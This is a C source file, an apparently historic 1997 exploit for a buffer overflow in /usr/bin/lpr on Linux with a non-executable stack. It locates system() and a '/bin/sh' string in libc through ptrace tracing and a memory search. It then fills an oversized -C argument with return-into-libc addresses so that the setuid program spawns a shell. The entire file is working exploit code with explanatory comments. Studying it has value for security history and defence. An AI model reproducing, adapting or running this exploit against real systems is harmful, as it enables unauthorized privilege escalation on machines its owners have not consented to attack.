/*
 * /usr/bin/lpr   buffer   overflow    exploit   for  Linux   with
 * non-executable stack
 * Copyright (c) 1997 by Solar Designer
 */

#include <stdio.h>
#include <unistd.h>
#include <string.h>
#include <stdlib.h>
#include <signal.h>
#include <setjmp.h>
#include <sys/ptrace.h>
#include <sys/types.h>
#include <sys/wait.h>

#define SIZE            1200    /* Amount of data to overflow with */
#define ALIGNMENT       11      /* 0, 8, 1..3, 9..11 */

#define ADDR_MASK       0xFF000000

char buf[SIZE];
int *ptr;

int pid, pc, shell, step;
int started = 0;
jmp_buf env;

void handler()
{
  started++;
}

/* SIGSEGV handler, to search in libc */
void fault()
{
  if (step < 0)
    {
      /* Change the search direction */
      longjmp(env, 1);
    }
  else
    {
      /* The search failed in both directions */
      puts("\"/bin/sh\" not found, bad luck");
      exit(1);
    }
}

void error(char *fn)
{
  perror(fn);
  if (pid > 0) kill(pid, SIGKILL);
  exit(1);
}

void main()
{
  signal(SIGUSR1, handler);

  /* Create a child process to trace */
  if ((pid = fork()) < 0) error("fork");

  if (!pid)
    {
      /* Send the parent a signal, so it starts tracing */
      kill(getppid(), SIGUSR1);
      /* A loop since the parent may not start tracing immediately */
      while (1) system("");
    }

  /* Wait until the child tells us the next library call will be system() */
  while (!started);

  if (ptrace(PTRACE_ATTACH, pid, 0, 0)) error("PTRACE_ATTACH");

  /* Single step the child until it gets out of system() */
  do
    {
      waitpid(pid, NULL, WUNTRACED);
      pc = ptrace(PTRACE_PEEKUSR, pid, 4*EIP, 0);
      if (pc == -1) error("PTRACE_PEEKUSR");
      if (ptrace(PTRACE_SINGLESTEP, pid, 0, 0)) error("PTRACE_SINGLESTEP");
    }
  while ((pc & ADDR_MASK) != ((int)main & ADDR_MASK));

  /* Single step the child until it calls system() again */
  do
    {
      waitpid(pid, NULL, WUNTRACED);
      pc = ptrace(PTRACE_PEEKUSR, pid, 4*EIP, 0);
      if (pc == -1) error("PTRACE_PEEKUSR");
      if (ptrace(PTRACE_SINGLESTEP, pid, 0, 0)) error("PTRACE_SINGLESTEP");
    }
  while ((pc & ADDR_MASK) == ((int)main & ADDR_MASK));

  /* Kill the child, we don't need it any more */
  if (ptrace(PTRACE_KILL, pid, 0, 0)) error("PTRACE_KILL");
  pid = 0;

  printf("system() found at: %08x\n", pc);

  /* Let's hope there's an extra NOP if system() is 256 byte aligned */
  if (!(pc & 0xFF))
    if (*(unsigned char *)--pc != 0x90) pc = 0;

  /* There's no easy workaround for these (except for using another function) */
  if (!(pc & 0xFF00) || !(pc & 0xFF0000) || !(pc & 0xFF000000))
    {
      puts("Zero bytes in address, bad luck");
      exit(1);
    }

  /*
   * Search for a "/bin/sh" in libc until we find a copy with no zero bytes
   * in its address. To avoid specifying the actual address that libc is
   * mmap()ed to we search from the address of system() in both directions
   * until a SIGSEGV is generated.
   */
  if (setjmp(env)) step = 1;
  else step = -1;
  shell = pc;
  signal(SIGSEGV, fault);
  do
    while (memcmp((void *)shell, "/bin/sh", 8)) shell += step;
  while (!(shell & 0xFF) || !(shell & 0xFF00) || !(shell & 0xFF0000));
  signal(SIGSEGV, SIG_DFL);

  printf("\"/bin/sh\" found at: %08x\n", shell);

  /*
   * When returning into system() the stack should look like:
   *                              pointer to "/bin/sh"
   *                              return address placeholder
   * stack pointer ->             pointer to system()
   *
   * The buffer could be filled with this 12 byte pattern, but then we would
   * need to try up to 12 values for the alignment. That's why a 16 byte pattern
   * is used instead:
   *                              pointer to "/bin/sh"
   *                              pointer to "/bin/sh"
   * stack pointer (case 1) ->    pointer to system()
   * stack pointer (case 2) ->    pointer to system()
   *
   * Any of the two stack pointer values will do, and only up to 8 values for
   * the alignment need to be tried.
   */
  memset(buf, 'x', ALIGNMENT);
  ptr = (int *)(buf + ALIGNMENT);
  while ((char *)ptr < buf + SIZE - 4*sizeof(int))
    {
      *ptr++ = pc;
      *ptr++ = pc;
      *ptr++ = shell;
      *ptr++ = shell;
    }
  buf[SIZE - 1] = 0;

  execl("/usr/bin/lpr", "lpr", "-C", buf, NULL);
  error("execl");
}
